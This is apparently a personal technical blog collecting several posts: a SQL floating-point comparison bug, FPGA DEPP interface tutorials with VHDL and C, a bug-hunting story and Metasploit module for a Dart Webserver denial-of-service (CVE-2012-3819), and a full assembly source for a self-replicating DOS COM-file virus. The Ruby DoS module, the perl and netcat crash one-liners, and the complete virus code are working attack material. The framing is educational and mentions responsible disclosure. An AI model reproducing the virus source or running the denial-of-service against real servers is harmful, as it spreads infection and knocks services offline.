SQL and finding a Floating Point Error

So we have some SQL which goes out and grabs some data. Then we use that data for processing. Pretty normal. But the fun part is, sometimes we reuse that data in the same SQL. No this is not about stored SQL Injection, it's really just about a dumb bug we ran into recently, but a reuse bug would be pretty fun too.

So we have a list of people, and we've compared this list of people to another list of people using the Levenshtein Algorithm. Then we store the results of that comparison in the database so some users can check it out later, a time/memory trade off which has actually been fairly useful (especially with the speed increases we've given it over the years).

Now when a user loads this list of comparisons, we track what the current "match_score" is. This is the decimal percentage difference between the two people's information. Weighted to our liking.  So our application gets the match_score:

SELECT TOP 1 * FROM People_Comparisons P WHERE ID = 13689385

Return: 13689385 |  0.214736842105263

From the perspective of the application, and the database, ID is effectively random. We sort the results of comparisons by the match_score then by the ID, so that when doing reviews we're looking at each ID (x) in the subset of records with the same match_score (y). But the point is, the ID is sorted only within each match_score across the domain of Y values. To get the next record we run a query with the currenct ID and and match_score, N(x,y), which uses the following SQL to return the next record of interest:

SELECT TOP 1 * FROM People_Comparisons P WHERE ID= 13689385 AND MATCH_SCORE > {0}

In the above {0} is replaced with the previously retrieved match_score, in this case the value:

0.214736842105263

Now some experienced database type individuals probably already see the problem. But to less experienced individuals, this can be quite the snake-bite. Because when we run the SQL we have a somewhat unexpected result:

SELECT TOP 1 * FROM People_Comparisons P WHERE ID= 13689385 AND MATCH_SCORE > 0.214736842105263

Return: 13689385 |  0.214736842105263

Obviously there is a mistake, we've used the same value  (0.21473...) and it seems impossible that this SQL should return the same row when we're expecting a row with a match_score greater than that value! Enter Floating-Point Precision.

The quick rundown of it is this: What the database reports is a truncated version of the raw stored value. We have 15 significant figures displayed, but the database is storing much more data than this. This truncation gives us a raw binary value which is different than that which is stored - and in this case, less than what is stored. Thus, the next greater match_score, after truncation/rounding, is the same match_score! To solve this I select the value of the match score into a SQL variable then us this value to maintain the full precision of the data type and reuse this variable for comparisons.

Writing My First Metasploit Module

So I decided I should learn how to use Metasploit. It seems to me, that this framework is the wave of the future, even though it's already in it's fourth revision with what I understand to have been several major rewrites. So I guess the future is already here and I'm just behind the curve!

For the uninitiated, Metasploit is a framework. This means it provides the tools necessary to achieve some common goals. You may have guessed it, the common goal is exploitation of vulnerabilities found in systems. Note: The Metasploit website mentions a Pro version and Community Edition, an Express version and the Metasploit Framework for developers. We'll use the Framework which is provided in BackTrack 5R3 already!

To just try this out go to the Backtrack website: http://www.backtrack-linux.org/

1. Download it
2. Burn it
3. Boot it
4. Continue

In my previous post I discuss the discovery of a very minor vulnerability. Having developed a simplistic exploit it in perl, it seemed the perfect opportunity to develop a Metasploit module for it as well. This would exercise a new programming language for myself (ruby) for which I have no prior experience. And facilitate the development of other future exploits in a rapid development environment through practice.

As discussed in the book Metasploit: The Penetration Tester's Guide, a reasonable technique for making your first module is, start from another module! So I chose to base mine off of the module found at:

/opt/metasploit/msf3/modules/auxiliary/dos/http/apache_mod_isapi.rb

I chose this module because my module will also be in the DoS for HTTP servers area. Since, it is a DoS for an HTTP server. It is also short, and simple, which means easy to modify.

The first bits to change are, the informative bits. I modified the Name, Description, Author, Version, References, and Disclosure Date to match the specifics of my vulnerability. But this is not necessary to the functionality. The next important piece was to register my options, since they don't match the apache_mod_isapi denial of service options. This is important to the functionality.

I kept the RHOST, which makes sense, and I only need one option for a Remote port (RPORT) - so I scoured through the framework with a little find + grep magic:

find ./ -exec grep -H "RPORT" {} \; | grep "Remote port"

And found

./auxiliary/crawler/msfcrawler.rb: OptInt.new('RPORT', [true, "Remote port", 80 ]),

Yep, copy that and throw it into the ruby script. Watching out to remove the comma at the end since it's the last option in my list. Next I stripped out most extraneous communications and just followed the general feel of the ruby script to build a request of "A" * size bytes, tack on my "\n\n" to the end, and send it!

This completes my module, and I save it to:

~/.msf4/auxiliary/dos/http/dart_request_dos.rb

Note:  if you save to /opt/metasploit/msf3/modules/auxiliary/dos/http/, and later perform an update, it will wipe out your module if it is not in the actual framework tree. So be wary of that shortcut! (yes it bit me)

Now when I load msfconsole, I have access to my module and it's as simple as:

use auxiliary/dos/http/dart_request_dos
set RHOST [target_ip]
set RPORT [target_port]
exploit

------------------------------SNIP-------------------------------------
require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Description' => %q{ 'Name' => 'Dart Webserver <= 1.9.0 Stack Overflow', Dart Webserver from Dart Communications throws a stack overflow exception when processing large requests. } , 'Author' => [ 'catatonicprime' ], 'Version' => '$Revision: 15513 $', 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-3819' ], ], 'DisclosureDate' => '9/11/2012')) register_options([ Opt::RPORT(80), OptInt.new('SIZE', [ true, 'Estimated stack size to exhaust', '520000' ]) ]) end def run serverIP = datastore['RHOST'] if (datastore['RPORT'].to_i != 80) serverIP += ":" + datastore['RPORT'].to_s end size = datastore['SIZE'] print_status("Crashing the server ...") request = "A" * size + "\r\n\r\n" connect sock.put(request) disconnect end end

Implementing a DEPP interface on a Basys2, part 2

Previously, I described how to interface with a DEPP peripheral using the Adept SDK, and how to construct such a peripheral that will also interface with an adder. Here, I describe how to construct such an adder using Xilinx IP, and then how to connect everything together.

My first component is a DEPP peripheral, which is described in an earlier post.

Next, I want an 8-bit unsigned adder. Because I do not need to optimize for space on the FPGA, I'm going to instantiate a combinational adder. I do this by clicking the New Source button in ISE, then selecting IP (CORE Generator & Architecture Wizard). I give it a file name, in this case Adder8Bit, and click Next. I expanded the Math Functions folder, then Adders & Subtracters, and finally selected Adder Subtracter. I clicked Next again, then Finish.

The next screen allows you to configure the adder. I configured mine as shown here:

As previously described, I want an 8-bit unsigned adder, so I select unsigned for both input types, and 8 for the width of each input. I selected Add mode, with an output width of 8 (I'm ignoring the carry-out in this case). In order to create a combinational adder that doesn't depend on a clock signal, I selected Manual latency configuration with a latency of 0. As I selected options, the symbol on the left changed. When I was complete, I had only the two inputs and one output. When I had all of my options properly set, I clicked Generate, and let ISE crank away for a little while.

The core generator only creates a definition of something, not an instance. To actually make my components useful, I needed to create a single instance of my DEPP peripheral and a single instance of the adder. To do this, I created a new VHDL source file, then right-clicked on it and clicked "Set as Top Module." This tells ISE to that this is the module that interacts with the outside world (in this case, the pins on the FPGA package.

This project only utilizes the EPP pins on the FPGA, so the black-box entity description is fairly simple.

entity DeppAdder is
port(
--EPP Signals
EppAstb : in std_logic;
EppDstb : in  std_logic;
EppWr : in  std_logic;
EppWait : out  std_logic;
EppDB : inout std_logic_vector (7 downto 0)
);
end DeppAdder;

Within this entity, I need to create two components, and "wire them up" appropriately. To do this, I used a structural architecture.

architecture structural of DeppAdder is
component EppModule is
Port ( Astb : in  STD_LOGIC;
 Dstb : in   STD_LOGIC ;
 Wr : in   STD_LOGIC ;
 Wt : out   STD_LOGIC ;
 DataBus : inout  STD_LOGIC_VECTOR  (7 downto 0) ;
 Op1 : out std_logic_vector  (7 downto 0) ;
 Op2 : out  std_logic_vector (7 downto 0) ;
 Result : in  std_logic_vector (7 downto 0));
end component;
COMPONENT Adder8Bit
PORT (a : IN STD_LOGIC_VECTOR (7 downto 0);
b : IN  STD_LOGIC_VECTOR  (7 downto 0);
s : OUT  STD_LOGIC_VECTOR  (7 downto 0));
END COMPONENT;
signal Op1, Op2, Result : std_logic_vector  (7 downto 0);

The component declarations here just tell the compiler the inputs and outputs of the components I want to instantiate, not how they work. I still haven't instantiated any components, just the signals! To instantiate the components, I need to define the architecture.

begin
EppModule1 : EppModule port map (
Astb => EppAstb,
Dstb => EppDstb,
Wr => EppWr,
Wt => EppWait,
DataBus => EppDB,
Op1 => Op1,
Op2 => Op2,
Result => Result
);
Adder8Bit1 : Adder8Bit port map (
a => Op1,
b => Op2,
s => Result
);
end structural;

My top level entity instantiates two components, an EppModule named EppModule1 and an Adder8Bit named Adder8Bit1, and connect them using 3 intermediate signals, Op1, Op2, and Result. To test out my architecture, I ran the program described in my earlier post.

While adding two unsigned 8-bit values together is very mundane, this architecture can be expanded. For example, an audio file could be downloaded to the FPGA for post-processing, or a key could be stored, and then the FPGA could be used to perform cryptographic operations.

Implementing a DEPP interface on a Basys2, part 1

In a previous post, I discussed the use of Digilent's Adept SDK to move data between a PC and the Basys2 board. This requires instantiating an interface on the FPGA. Here, I will go through the interface one piece at a time. My code is based on Digilent's example code.

The Enhanced Parallel Port (EPP) interface consists of an 8-bit data bus and control signals. The data bus is bi-directional, and data flow is controlled by the host (in this case, the PC) using the write signal. When write is high, the host is reading from the data bus. The timing of data on the data bus is controlled using the astb (address strobe) and dstb (data strobe) signals. These signals are asserted by the host, and indicate that an address should be written or that data should be read/written respectively. The peripheral asserts a single signal, wait, which is used to indicate that the peripheral is ready to accept data or has data available. For more information on these signals, and the EPP interface, see the documentation available from Digilent.

In this case, I need a peripheral that can read two operands, and write a single result. The black-box description of this is:

entity EppModule is
    Port ( Astb : in  STD_LOGIC;
           Dstb : in   STD_LOGIC;
           Wr : in   STD_LOGIC;
           Wt : out   STD_LOGIC;
           DataBus : inout  STD_LOGIC_VECTOR (7 downto 0);
 Op1 : out std_logic_vector  (7 downto 0);
 Op2 : out std_logic_vector  (7 downto 0);
 Result : in std_logic_vector  (7 downto 0));
end EppModule;

Because only one 8-bit value can be sent across the data bus at a time, the address must be sent before data is read or written. Therefore, the peripheral needs a single signal to store the address value.

architecture Behavioral of EppModule is
signal addressReg : std_logic_vector  (7 downto 0);

The wait signal must be asserted after one of the strobe signals is asserted, or a timeout will happen. In my design, there are no constraints to when the device is ready to read or write data, so the wait signal should be asserted as soon as possible after every read or write strobe.

begin
-- Epp signals
   -- Port signals
   Wt <= '1' when Astb = '0' or Dstb = '0' else '0';

When the host wants the peripheral to write data to the data bus, the write signal is asserted. I only have a single result that will be read so there is no need to verify the address before writing to the data bus.

DataBus <= Result when (Wr = '1') else "ZZZZZZZZ";

Next, I define the behavior of the address register. This register will be written when a write strobe occurs.

  -- EPP Address register
  process (Astb)
    begin
      if rising_edge(Astb) then  -- Astb end edge
        if Wr = '0' then -- Epp Addr write cycle
     addressReg <= DataBus;  -- Update the address register
        end if;
      end if;
    end process;

The operand registers are similar, but in this case there are 2 registers, so the action to be taken depends on the contents of the address register.

  -- EPP Write registers register
  process (Dstb)
    begin
      if rising_edge(Dstb) then  -- Astb end edge
        if Wr = '0' then -- Epp Data write cycle
       if addressReg = "00000000" then
Op1 <= DataBus;
elsif addressReg = "00000001" then
Op2 <= DataBus;
end if;
        end if;
      end if;
    end process;

end Behavioral;

And that completes the description of my EppModule. The full file can be found for download here. My next write-up will describe how to combine this with an adder so that the whole thing works.

Communicating with the Basys2 using the Adept SDK

Writing code for development boards is fun: LEDs flash, respond to button presses, etc. Eventually though, we would like to be able to communicate with our boards using a PC. Many boards include a RS-232 (serial) port for just this purpose. RS-232 has a few drawbacks though, most notably that if your computer was purchased this millennium, you will probably have to use a USB-serial converter. These are cheap and prevalent, but it is just another thing to clutter up your workspace. Also, transferring large amounts of non-ASCII data (i.e. raw hex) can be challenging and time consuming. Since legacy ports are going the way of the Dodo bird, many developers are omitting the serial port from their development boards, and instead including a USB controller. The Basys2 from Digilent is one such board. This leaves us in a lurch, unless we can find a way to interact with the device through its USB controller. And that's were the Adept SDK comes in.

Instead of having to look up the specifics of the USB chip on the board, the Adept SDK provides APIs to interact with the board. In this post, I'll cover just 2 of the libraries: the device access management library (DMGR) and the asynchronous parallel port library (DEPP). Note that DEPP is so named for the similarity to the Enhanced Parallel Port (EPP) protocol used by parallel ports.

The Adept SDK provides code samples for each of the libraries. For the DMGR library, there are 2 examples: EnumDemo and GetInfoDemo. To get started, download the Adept SDK and Adept Runtime from Digilent. Install the runtime, and decompress the SDK somewhere you can find it. The SDK contains:

• Documentation: PDF files describing how to use the libraries in the doc folder
• Header Files: The include folder contains header files
• Static Libraries: The APIs are provided as precompiled libraries
• Code Samples: Example code for each library is included in the samples folders

After downloading the SDK for Windows, I set about to compiling some of the samples. There are introductions on how to do this in the samples directory, but they are specific to Visual Studio. In my case, I am using MinGW's toolchain. The linkers in the two toolchains expect library files to be named differently. Visual Studio expects a library file named <library name>.lib, and this is how the libraries are provided by Digilent. MinGW's linker, ld, only accepts library files in the format lib<library name>.a. Similarly, ld running under Linux expects a file lib<library name>.so. So, in order to use the Windows libraries provided by Digilent, I had to rename all of the files. dmgr.lib had to be renamed libdmgr.a, for example. The Windows version of the SDK contains the libraries in the lib or lib64 directories. The Linux version installs the libraries with the runtime.

In order to get g++ to compile the examples, I had to specify the include directory using -I, specify the library directory using -L, and specify which libraries to use AFTER the filename. For example, a project that uses only the DMGR library would have -ldmgr after the file name.

I compiled and executed the DMGR examples EnumDemo and GetInfoDemo. These confirmed that there was in fact a Basys2 attached to my system, and that it supported the DEPP library. I then instantiated a DEPP interface on the FPGA that included 2 operand registers and a result register. The operand registers can be written by the PC, and the result register can be read. Actually creating those structures on the FPGA will be covered in another post, but project files can be found here.

I wanted to write some code to write values to the operand registers, then read the result out. Here's what it looks like (full file here):

 #if defined(WIN32)
/* Include Windows specific headers here.*/
#include <windows.h>
#endif

This makes the necessary types available on a Windows.

#include <stdio.h>
#include "dpcdecl.h"
#include "dmgr.h"
#include "depp.h"

All of the header files needed for this project.

#define OP1ADDR         0x00
#define OP2ADDR         0x01
#define RESADDR         0x00

I chose to use text substitutions to define the register locations, to make my code easier to read. And then we start with main():

int main()
{
        HIF deviceHandle;
        int status = fTrue;
        char deviceName[32] = "Basys2";
        unsigned char result;

The type HIF is defined in dpcdecl.h, and is a structure that holds a handle to a device. This handle is used to interact with the Basys2. The status variable will be used for error detection/error handling. The device name is the UserName of the device. I found the UserName using EnumDemo. result will hold the result of the arithmetic that we read back from the device.

//Open a handle to the device
status = DmgrOpen(&deviceHandle,deviceName);
if (status)
printf("Successfully opened a handle to %s\n", deviceName);
else
{
status = DmgrGetLastError();
printf("Error code: %d\n", status);
}

 The first step in interacting with the device is to open a handle to it. Note that the API functions return FALSE if there is an error, and TRUE if they are successful.

//Enable the default port (Port 0) on the device
status = DeppEnable(deviceHandle);
if (status)
printf("Successfully enabled Port 0\n");
else
{
status = DmgrGetLastError();
printf("Error code: %d\n", status);
}

The EPP port must be enabled before reading or writing.

//Do some math
DeppPutReg(deviceHandle, OP1ADDR, 0x00, fFalse);
DeppPutReg(deviceHandle, OP2ADDR, 0x00, fFalse);
DeppGetReg(deviceHandle, RESADDR, &result, fFalse);
printf("0x00 + 0x00 = 0x%02X\n", result);
//...
DeppPutReg(deviceHandle, OP1ADDR, 0xFF, fFalse);
DeppPutReg(deviceHandle, OP2ADDR, 0x01, fFalse);
DeppGetReg(deviceHandle, RESADDR, &result, fFalse);
printf("0xFF + 0x01 = 0x%02X\n", result);

Here's where I actually transfer some data to and from the device. I write to the operand registers using DeppPutReg(), and then read the result register using DeppGetReg(). I ran through several scenarios to make sure that the adder was working properly.

//Disable the active port on the device
status = DeppDisable(deviceHandle);
if (status)
printf("Successfully disabled DEPP port\n");
else
{
status = DmgrGetLastError();
printf("Error code: %d\n", status);
}

//Close our handle to the devicestatus = DmgrClose(deviceHandle);
if (status)
printf("Successfully closed device handle\n");
else
{
status = DmgrGetLastError();
printf("Error code: %d\n", status);
} 

This is all cleanup to make sure that I gracefully release the device.

When it was all said and done, the output looked like this:
Successfully opened a handle to Basys2
Successfully enabled Port 0
0x00 + 0x00 = 0x00
0x01 + 0x00 = 0x01
0x01 + 0x01 = 0x02
0xA5 + 0x5A = 0xFF
0xFF + 0x01 = 0x00
Successfully disabled DEPP port
Successfully closed device handle

And so, I successfully moved raw data to the device, and read a result. While an unsigned 8-bit adder is trivial, this gives me all of the building blocks to do something more interesting, like cryptographic work.

My First Experiences Bug Hunting, Part 1

/*
Responsible Disclosure(info): in the following post and future posts I will cover the specifics of my first bug hunt. This has led to six assigned CVEs. One of which is discussed below and it's ID is CVE-2012-3819. I will discuss the other five, and the affected software, once the vendor(s) has had time to assess and determine remediation for the remaining vulnerabilities. CVE-2012-3819 was originally reported to an affected vendor in October of 2011, it was reported (by the author) to the responsible vendor August 2nd of 2012, the responsible vendor has replied stating:

"Thank you for the additional information. The technical team was able to reproduce the issue and log it as issue #5654. I know there are not immediate plans to resolve the issue, however it will be reviewed when  the product is again up for renewal." [formatting by me] 

Enough of the boring stuff, let's get to the fun!
*/

A couple of years ago I had never even heard the term Bug Hunt. Had never really done any real exploitation what so ever. Technique was something of myths, reverse engineering was something I did to watch bits floating around in memory and that's about it. Maybe I could get a lucky (well 'lucky' after trying 20 different locations) patch in a video game to gain an edge or something. But really, understanding a bug and developing an exploit, was (is?) beyond my caliber.

Then I heard about this so called "Bug Hunting," and figured - what the hell, I have access to software and I like playing with debuggers. Let's see if we can't break some code. And this is where my understanding of the steps involved come in, to my knowledge they involved the following:

1. Install Software
2. ????
3. Win/Exploit

And to me it really does feel like magic, like only a Techno-God could look over some executable and discover a bug and how to exploit it. But I knew there must be a way to find my own bug and make a custom exploit. So I looked toward a few resources. I bought eight books on various forms of information security, from web, to database. And it seems like the favorite type of exploit, the bug hunter's creme of the crop exploit, is the Stack or Buffer Overflow. Armed with a plethora of information, I picked an application with some familiar technology to me. I chose a Web Server/Web App which we use at work, I downloaded the trial and installed it. Then it was time to see where it'd go.

The application has a stand alone web server, the same one found here: Dart Communications. The version I was utilizing was version 1.8.0.10 (current as of writing is 1.9.0.0). I loaded the app up and the software began spinning it's wheels. Simple, right?

It does whatever stuff it needs to start up, and then bind()s to an address followed by a listen() for incoming connections. So now what? Step #2 above is a black box to me - I don't really know where to go, or what the hell I'm doing. So I decide to start with the normal use case scenario. I connect to the server and make a valid request by printing the following to a connected socket:

GET / HTTP/1.1\n\n

Simple enough to do, it's just a quick perl + netcat combo [nifty trick from Hacking By Erickson, Jon (Google Affiliate Ad), plus a shameless plug for ad-sense, it is a fantastic book though I swear].

perl -e 'print "GET / HTTP/1.1\n\n"' | nc server 80

I get a typical "200 OK" response and I think quietly to myself... Then I think about the different pieces of this request. They take the form of '[method] [requested-uri] HTTP/[version]\n\n' which means I can control the method (e.g. GET or POST), the Requested-URI (e.g. / or /index.html), and the HTTP version reported (e.g. 1.1 or 1.0).

So I think to myself, "If I were writing a web app I'd need the file name... would I check the size of the URI in the GET/POST request?"

perl -e 'print "GET " . "A" x 9999 . " HTTP/1.1\n\n"' | nc server 80

The server responds with a 401/403/404 or whatever. An expected and normal result having fed in garbage data. So I figure what the hell, let's go really huge and see if it survives.

perl -e 'print "GET " . "A" x 520000 . " HTTP/1.1\n\n"' | nc server 80

Presto! The server crashes and I get a feeling like I might be onto something good. The number I'm showing here was chosen experimentally, I really just kept multiplying by ten. I e-mail the vendor to inform them of the bug and I begin an investigation to see how far down the rabbit hole it goes. The hope is remote arbitrary code exploitation.

/*Spoiler Alert* more CVE-2012-3819 specifics
It's denial of service only. Simply put, the Requested URI is copied around in memory, some copies are stored on the stack. After several large copies, they exhaust the available stack space for the process. This yields a Stack Overflow Exception, not to be confused with a buffer overflow. The exception is passed to the controlling process where no handler exists, so the application exits immediately. Additionally the request does not have to be well formed, e.g. a continuous string of repeating 'A's will have the same effect as long as it does not receive the "\n\n" and try to process the request.

perl -e 'print "A" x 520000 . "\n\n"' | nc server 80

*End Alert*/

So I load Ollydbg to and take a closer look at the vulnerability, which I'll cover that in a future post, and how it led me to find better and more mature bugs which have real security impacts beyond the utilitarian annoyance of a Denial of Service condition.

Until then, Hack Safe, Hack Legal, but most of all Hack Fun!

Writing my First Computer Virus

I write this, in part, as a nod to Herm1t over at VX Heavens, which has recently been shutdown by the Ukrainian government. Computer viruses, and computer virology are best explored in a safe and controlled environment, and it is our right as researchers to do so. VX Heavens has shared wonderful information for 2 decades, affecting the industry in positive ways that we'll never see the end of.

Those who know me very well know that one of the primary reasons for my learning how to write software, was to write computer viruses. Those who don't know me extremely well may mistakenly assume this was for malicious reasons. It was not, it's somewhat of a secret but there was a time in my life when I was not good with computers at all. If you really want to know why I decided to I wanted to write viruses, you'll just have to ask me in person, because it's somewhat of a personal story for me and it's kind of too dumb to get into here.

For the rest of you who don't care, here's a story about the first, ever, computer virus I've written! To be clear this is a virus in a stricter definition than the public tends to use. This virus infects COM files (yeah, remember those?) and runs in a fairly confined environment (it's current directory). It has no malicious content, with the exception of possibly violating Title 13-2316 paragraphs 2 & 3 (Arizona Title 13-2316). Which of course requires it to be occurring without permissions. Since I'm writing it and keeping it in a virtual machine it pretty much means I'm 100% in the clear. So now that the legal stuff is out of the way, let's talk implementation.

The system I am interested in developing in will be a MS-DOS 6.22 system. I'll be running it in a virtual machine which I will leave the setup as an exercise for the dedicated student. Next I will employ the assembling prowess of the Flat Assembler (FASM). This computer virus is heavily based on the TIMID virus described by Dr. Mark Allen Ludwig in his "The Little Black Book of Computer Viruses." (Amazon)

So let's begin, a little theory seems a good start.

COM files are flat files that are loaded into memory directly. The first bytes (offset 0x0000) are loaded into offset 0x100 in memory and then up. The reason for the 256 byte offset is a throwback to the CP/M operating system called the Program Segment Prefix (PSP).  For the particularly curious Wikipedia has a fairly well rounded article here.

Viruses may have several goals and these goals are up to the implementer to choose. For instance, the number 1 priority may be to replicate itself. A reasonable number 2 priority may be to survive. Since I'm really just interested in the fundamentals of virology we'll stick with focusing merely on this number 1 priority - Replication.

The virus, in order to replicate has many options. It may attach itself to the beginning of a file, or to the end, or break itself up and spread itself around in the file (e.g. CIH). Inserting into the start of COM file is difficult if there are any absolute offsets used in the program, as this will shift all of these offsets. And breaking it up, is obviously the most complicated option, though likely one of the best to subvert detection.

Basically, this is my first virus so we'll stick with the easiest, inserting the virus at the end of the COM file.

We'll need a few things:

1. A routine which will identify potential files to infect. 
2. A routine to perform the infection while preserving enough information to reconstruct the original code to continue to execute effectively.
3. A payload (may be as simple as just a ret), we'll use a print call when infecting, same as TIMID.

A common issue is that the viral code, when attached to the end of a file will regularly appear in a different location in memory. So we can not rely on too many absolute addresses (with a few exceptions related to the operating system (e.g. the PSP mentioned above). My solution involves determining the current code location and then referencing data members at a regular offset from there, this is probably the most notable variation of TIMID, and the rest is largely the same.

I use various DOS syscall methods, one of the most important is setting up a temporary Disk Transfer Area (DTA) which holds the file handles and data while we read and write files. For a reference to the other DOS syscalls see here.



;Origin is 0x100 - This is for COM files, which include
; a 256 byte PSP (Program Segment Prefix)
org 0x100
use16

start_file:
host: 
        jmp     near virus        ;Make it look like this file is infected.
                db 'Vx'
virus:
        sub     esp, 0x80        ; new DTA space.
        mov     ebp, esp         ; ebp will point to our DTA       
        lea     dx, [esp]        ; address for new DTA
        mov     ah, 0x1A         ; set DTA
        int     0x21             ; syscall, create new DTA space.

        call    get_start        ;
get_start:
        pop     si               ; pull the EIP from the stack, this is our location.
        sub     si, get_start    ; si is ready to handle offsets to the data section

        call    find_file        ; Find an infectable file.
        jnz     fin              ; Failed to find a file, bail.       
        call    infect           ; Infect the file!        
fin:
        push    si               ; Reimage the host bytes
        lea     si, [si+HOST_IMAGE]      
        lea     di, [0x100]      ; Default starting position      
        mov     cx, 0x05         ; Number of bytes to image
        rep     movs  BYTE [di], [si]    ; Copy 5 bytes from *si to *di
        pop     si               ; Restore si

        mov     dx, 0x80            ; reset to use default DTA
        mov     ah, 0x1A            ; set DTA function
        int     0x21                ; syscall

        mov     esp, 0xFFFF         ; 
        mov     ebp, esp            ; Restore the stack

        push    0x100               ; push the "new" return address
        ret

;-----------------------------------------------
;Find infectable files.
;-----------------------------------------------
find_file:
        lea     dx, [si + files]        ; searching COM files
        mov     ah, 0x4E                ; search function id
        ff_loop:
                mov     cl, 0x06        ; attribute mask
                int     0x21            ; syscall
                or      al, al          ; checking success: non-zero return (success)
                jnz     done            ; on failure, no file found we're done.
                call    check_file      ; check if this file is infectable
                jz      done            ; file is infectable, return to main
                mov     ah, 0x4F        ; file was not infectable, search next (function id)
                jmp     ff_loop         ;   --

check_file:
  ;First we check the size of the file to ensure our virus can fit in it!
        push   dx
        xor     bx, bx                  ; Clear bx, this represents our soon to be file handle.
        mov    ax, [ebp + 26]              ; Value @ Defaut DTA + offset to file size
        cmp    ax, 0x05                    ; Make sure it's *atleast* 5 bytes
        jl      bad_file                ; File is too small!
        add     ax, end_file - start_file + 0x100       ; End of virus - start of virus + size of PSP
        jc      bad_file                ; File is too big to accommodate this virus.
       
        mov     ax, 0x3D02              ; Open file with read/write
        lea     dx, [ebp + 30]          ; Default DTA + offset of file name
        int     0x21                    ; open file.       
        jc      bad_file                ; failed to open file?

        mov     bx, ax                  ; Open succeeded, file handle is in bx.
        mov     ah, 0x3F                ; Read file
        mov     cx, 0x05                ; 5 bytes worth
        lea     di, [si + START_IMAGE]  ; load the effective address of the start_image
        mov     dx, di                  ; dx is actually used in the sycall.
        int     0x21                    ; syscall
        jc      bad_file                ; error, and we've already ruled out partial reads (less than 5)

        ;------Ensure the file is not already infected.
        cmp     BYTE [di], 0xE9         ; Check for the jmp near.
        jne     good_file               ; It wasn't, so it's not infected.
        cmp     WORD [di+3], 0x7856     ; Check for 'Vx'
        je      bad_file                ; The file was infected, next file.

        good_file:
                pop     dx              ; Restore registers
                xor     al, al          ; Return status is good
                ret                     ; Return to caller with the file in the DTA.

        bad_file:
                or      bx, bx          ; Checking for a file handle
                jz      no_handle       ; no handle to close
                mov     ah, 0x3E        ; close file
                int     0x21            ; syscall - close the file.
                no_handle:
                        pop     dx      ; Restore registers
                        mov     al, 0x01; Return status is no file found
                        or      al, al  ; Set flags for status check
                        ret             ; Return to caller with no file found.
done:     
        ret
;-----------------------------------------------
;Infect, copy mechanism
;-----------------------------------------------
infect:    
        ;At this point the file is still open, the handle is in bx.
        lea     di, [ ebp + 26]         ; size of com file being infected
        mov     ax, [di]
        mov     cx, ax      
        lea     di, [si + START_VIR + 1]; The jmp offset
        sub     cx, 0x03                ; Remove the near jmp size. 
        mov     [di], cx                ; the offset to jmp to

        xor     ax, ax                  ; Seek to start
        mov     cx, ax
        xor     dx, dx
        mov     ah, 0x42            ; start of file
        int     0x21                ; syscall        

        mov     ah, 0x40            ; write to file
        mov     cx, 0x05            ; writing 5 bytes.
        lea     dx, [si + START_VIR]
        int     0x21                ; write file

        xor     ax, ax              ; Seek to end
        mov     cx, ax
        xor     dx, dx
        mov     ax, 0x4202          ; end of file
        int     0x21                ; syscall

        mov     ah, 0x40
        mov     cx, end_file - virus;size of virus
        sub     cx, 0x05            ; Write all but 5 bytes, this will get start_image
        lea     dx, [si + virus]    ; virus beginning        
        int     0x21                ; copy the virus out!

        mov     ah, 0x40            ; do another write to give HOST_IMAGE
        lea     dx, [si + START_IMAGE]  ; to the newly infected file.
        mov     cx, 0x05            ; Just 5 bytes.
        int     0x21                ;

        mov     ah, 0x3E            ;close file
        int     0x21                ;syscall

        push    dx                  ; print infection message
        lea     dx, [si + banner]
        call    print
        pop     dx
        ret

;-----------------------------------------------
;Helper methods, these'll go away in the final product
;-----------------------------------------------
print:
        push    ax         ; Makes this function non-destructive.
        mov     ah, 0x09   ; Print ASCIIZ
        int     0x21       ; print whatever is in ds:dx, this is for debugging
        pop     ax         ; Restore registers    
        ret                ; Return to caller
;-----------------------------------------------
;Data Section
;-----------------------------------------------
        banner          db 'Catatonic says "Hi!"', 0x0D, 0x0A, 0x24
        files           db '*.COM', 0x00
        START_VIR       db 0xE9, 2 dup(?), 'Vx'
        START_IMAGE     db 0x05 dup(?)
        HOST_IMAGE      db 0xB8, 0x00, 0x4C, 0xCD, 0x21 ; simple exit program.
end_file:

That's it! Sorry I'm not going more in depth on the specifics - this post is several months old for me now and I figured it'd just push it out instead of breaking it up or other things.

I believe this source code is good (if i recall correctly) and here is a screen shot of the results:

Have fun and stay safe!